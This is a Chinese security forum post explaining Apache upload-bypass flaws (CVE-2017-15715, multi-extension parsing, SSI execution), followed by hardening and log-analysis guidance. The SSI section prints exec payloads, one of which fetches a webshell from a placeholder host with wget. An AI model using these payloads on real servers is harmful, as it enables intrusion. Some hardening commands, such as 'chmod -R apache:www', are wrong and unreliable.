Apache/漏洞/防御/分析

kkkk   ·   发表于 2021-04-23 20:55:43   ·   漏洞文章

Apache中间件介绍

  1. Apache可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。
  2. bin-----存放常用的命令工具,例如httpd
  3. cgi-bin-----存放Linux下常用的命令。例如xxx.sh
  4. conf-----Linux的配置相关文件,例如httpd.conf
  5. error-----错误记录
  6. htdocs-----放网站源码
  7. icons-----网站图标
  8. logs-----日志
  9. manal-----手册
  10. modules-----扩展模块

Apache解析PHP流程图

Apache换行解析漏洞(CVE-2017-15715)

影响版本: Apache 2.4.0~2.4.29
影响说明: 绕过服务器策略,上传webshell
环境说明: PHP5.5、Apache2.4.10
漏洞原理:

在httpd2.4.0~2.4.29版本中有如下配置

  1. <FilesMatch \.php$>
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

这是httpd解析php文件的表达式,关键在于表达式结尾的$字符,这个字符在正则表达式中用于匹配字符串结尾的位置,同时也会匹配换行符号。

若是黑名单匹配,我们上传是就可以成功,并且在解析是会匹配换行符,访问时在php后面加上%0a就能正常访问。

但是在使用中大部分情况下是$_FILES[‘file’][‘name’]作为文件名,这样会自动过滤换行符

且在windows上面%0a无法作为后缀

  1. 总结:
  2. 1. 在非windows环境
  3. 2. $_FILES[‘file’][‘name’]作为文件名
  4. 3. 黑名单
  5. 满足上述条件可以利用成功

Apache多后缀解析漏洞

影响版本:

​ 使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。

影响说明: 绕过服务器策略,上传webshell

环境说明: PHP7、任意版本的使用module模式与PHP结合的apache

Apache中配置php支持module模式、cig模式、fastcgi模式 https://www.cnblogs.com/zlingh/p/3959352.html

为什么module模式下会造成该漏洞呢?因为以下配置代码…

  1. AddHandler application/x-httpd-php .php
  2. 或者
  3. <FilesMatch ".+\ph(ar|p|tml)">
  4. SetHandler application/x-httpd-php
  5. </FilesMatch>

“.+\ph(ar|p|tml)”

只要以.php、.phar、.ptml结尾的都当做php执行

将webshell后缀名改为xxx.php.xxx上传即可,如果程序验证必须要图片文件,可以修改为xxx.php.jpg等等

Apache SSI远程命令执行漏洞

影响版本: Apache全版本(支持SSI与CGI)

影响说明: 绕过服务器策略,上传webshell

环境说明: PHP7.1、Apache2.4.25

​ SSI(server-side includes): 是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在Apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开启SSI需要单独配置Apache,可以参考SSI配置。SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能非常强大。

​ 文件名保存为test.shtml,这个后缀取决于Apache的配置,默认是此后缀。当后台对扩展名校验不严格是。可以上传此类文件,达到执行命令,获取webshell的目的。

  1. # 上传成功后,访问该文件
  2. 文件内容就自己写吧,下面参考
  3. <!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php"-->
  4. <!--#exec cmd="echo '<?php phpinfo();?>' > shell.php"-->
  5. <!--#exec cmd="写下要执行的命令"-->

Apache防御与加固

​ Apache的不同版本和安装方式,配置文件名称不同,有的为apache2.conf,有的为httpd.conf,可以根据版本确认。在Apache的配置文件中可能包含多个配置文件,若找不到某个配置,可以通过命令搜索:

grep -r "Server Tokens" /etc/apache2

Apache安全配置—端口修改

1.内网端口设置

2.运行权限设置(用户和组必须存在)

Apache安全配置—目录权限配置
  1. Options:设置目录特性
  2. ALL:所有特性有效(缺省状态)
  3. NONE:所有目录特性无效
  4. FollowSymLinks:允许浏览器访问文档根目录外的文档
  5. ExecCGI:允许目录下执行CGI程序
  6. Indexes:允许浏览器在没有index.html时显示目录
  7. AllowOverride:设置配置文件覆盖
  8. None:.htaccess文件完全忽略
  9. ALL:使用.htaccess文件内的指令覆盖规则
  10. Require:目录访问权限(2.4版本)
  11. require all denied:拒绝所有
  12. require all grated:允许所有
  13. require host xxx 允许某个IP/HOST
  14. 2.2版本的目录访问权限使用OrderAllowDeny
  15. 全部禁止:Order AllowDeny
  16. Deny from ALL
  17. 全部允许:Order DenyAllow
  18. Allow from ALL
  19. .htaccess 负责目录下的网页配置,如改变扩展名,404
Apache安全配置—Require介绍
  1. Require all granted # 允许所有
  2. Require all denied #拒绝所有
  3. Require env env-var [env-var] ... # 当设置了某个环境变量允许访问
  4. Require method http-method [http-method] ... # 允许特定的HTTP方法(GET/POST/HEAD/OPTIONS)
  5. Require expr expression # 表达式为true时允许
  6. Require user userid [userid] ... # 允许特定用户
  7. Require group group-name [group-name] ... # 允许特定用户组
  8. Require valid-user # 所有有效用户都允许
  9. Require ip 192.100 192.168.100 192.168.100.5 3 允许特定IPIP段,多个IPIP段间使用空格分隔
Apache安全配置—老版本目录权限配置

Apache2.2以下:

​ Allow和Deny可以用于apache的conf文件或者.htaccess文件中(配合Directory,Location,Files等),用来控制目录和文件的访问控制授权。

  1. Order deny,allow Order allowdeny
  2. allow from all deny from 219.204.253.8
  3. deny from 219.204.253.8 allow from all
  4. # 全部都可以通行 # 只有219.204.253.8不能通行
  5. ----------------------------------- -------------------------------
  6. Order deny,allow Order allow,deny
  7. deny from 219.204.253.8 allow from all
  8. allow from all deny from 219.204.253.8
  9. # 全部都可以通行 # 只有219.204.253.8不能通行
Apache安全配置——日志记录

在Apache2.4中,编辑apache2.conf

1.将日志中debined的值,修改为

  1. LogFormat "%h %{X-FORWARDED-FOR}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

2.添加:ErrorLogFormat "[%t] [%I] [pid %P] %F: %E: [client %a] %M"

3.将LogLevel修改为notice

备注:combined可能在其他配置文件中引用,可以使用grep -rf “combined” /etc/apache2 进行搜索

LogLevel:控制登录到error_log的消息的数量。可能的值包括:7-调试(DEBUG)、6-信息(INFO)、5-通知(NOTICE)、4-警告(WARNINBNG)、3-错误(ERR)、2-临界失败(CRIT)、1.-警戒[必须 处理] (ALERT)、0-致命(EMERG).

Apache安全配置—隐藏版本信息

ServerTokens Prod

ServerSignature off

找不到:grep -rf “” /etc/apache2/

  1. ServerTokens Prod 显示"Server: Apache"
  2. ServerTokens Major 显示"Server: Apache/2"
  3. ServerTokens Minor 显示"Server: Apache/2.2"
  4. ServerTokens Min 显示"Server: Apache/2.2.17"
  5. ServerTokens OS 显示"Server: Apache/2.2.17 (Unix)"
  6. ServerTokens Full 显示"Server: Apache/2.2.17 (Unix) PHP/5.3.5"
  7. (如果你这指定任何的值,这个是默认的返回信息)
Apache安全配置—禁止目录浏览

删除Indexes,Indexes的含义是当该目录下没有index.html时,显示目录结构

Aapache安全配置—配置目录权限

假设网站的目录和文件的所有者和所有组为apache、www

命令:chmod -R apache:www /home/apache/web

设置网站目录权限为750,apache对目录拥有读写执行的权限,www用户组有读执行权限,其它用户没有任何权限

find-type d -exec chmod 750 {} \

设置网站文件权限为640.apache用户对网站文件有读写的权限,www用户组有读取文件的权限,其它用户无任何权限

find -not -type d -exec chmod 640 {} \

如果其他目录需要特定的权限,针对性赋予即可

Apache安全配置—限制消息长度

LimitRequestBody 102400

102400Bytes = 100KB

限制从客户端发送的HTTP请求正文的总大小

Apache安全配置—删除无用文件
  1. 1.删除缺省HTML文件
  2. rm -rf /usr/local/apache2/htdocs/*
  3. 2.删除缺省的CGI脚本
  4. rm -rf /usr/local/apache2/cgi-bin/*
  5. 3.删除Apache说明文件
  6. rm -rf /usr/local/apache2/manual
  7. 4.删除源代码文件
  8. rm -rf /path/to/httod-2.2.4*
Apache安全配置—其他
  1. # DDOS防御:
  2. Timeout 10
  3. KeepAlive On
  4. keepAliveTimeout 15
  5. AcceptFilter https data
  6. AcceptFilter http data
  7. # 限制消息长度
  8. LimitRequestBody 102400
  9. 102400Bytes = 100 KB
  10. # 关闭Trace功能
  11. TraceEnable OFF
  12. # 自定义错误页面,防止敏感信息泄露:
  13. ErrorDocument 400 /custom400.html
  14. ErrorDocument 401 /custom401.html
  15. ErrorDocument 403 /custom403.html
  16. ErrorDocument 404 /custom404.html
  17. ErrorDocument 405 /custom405.html
  18. ErrorDocument 500 /custom500.html
Apache安全配置—关闭CGI(不用的时候)

编辑 httpd.conf 配置文件,把 cgi-bin目录的配置和模块注释掉:

  1. # LoadModule cgi_module modules/mod_cgi.so
  2. # ScriptAlias /cgi-bin/ "/var/www/cgi-bin"
  3. #<Directory "/var/www/cgi-bin">
  4. #AllowOverride None #Options None
  5. #Order allow,deny # Allow from all
  6. #</Directory>

Apache日志分析

日志格式定义: apache2.conf/httpd.conf

LogFormat "%h %l %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\"" combined

日志格式引用: apache.conf/httpd.conf/ 其他配置文件

./sites-available/000-default.conf:21: CustomLog ${APACHE_LOG_DIR}/access.log combined

access.log

  1. %h 远程主机
  2. %I 远端用户名
  3. %u 远程用户名
  4. %t 时间
  5. %r 请求第一行
  6. %>s 状态
  7. %b 传送字节
  8. 分析访问量前5IP: cat access.log | awk '{print $1}' |sort|uniq -c |sort -nr |head -5
  9. 分析访问量前5的页面: cat access.log | awk '{print $7}'|sort | uniq -c|sort -nr|head -5
  10. 统计日志文件所有流量: cat access.log | awk '{sum+=$10} END {print sum/1024/1024/1024 "G"}'
  11. Apache日志中%T记录请求处理完花费的时间,单位是秒,%D记录的是微秒
  12. 统计请求处理划分时间最长的10个请求:
  13. cat access_time.log | awk '{print " " $NF " " $1 " " $7}' |sort -nr|head -10
  14. 统计404页面次数:cat access_time.log | awk '($9~/404/){print $9 " " $7}'|3sort|uniq -c|head -10
  15. cat access_time.log | awk '{print $9}' |sort|uniq -c|sort -rn

配置参考: https://blog.csdn.net/u012291157/article/details/46492137

用户名金币积分时间理由
Track-聂风 35.00 0 2021-04-24 12:12:13 限时活动
Track-聂风 80.00 0 2021-04-24 12:12:04 加油~

打赏我,让我更有动力~

0 条回复   |  直到 2021-4-23 | 1055 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.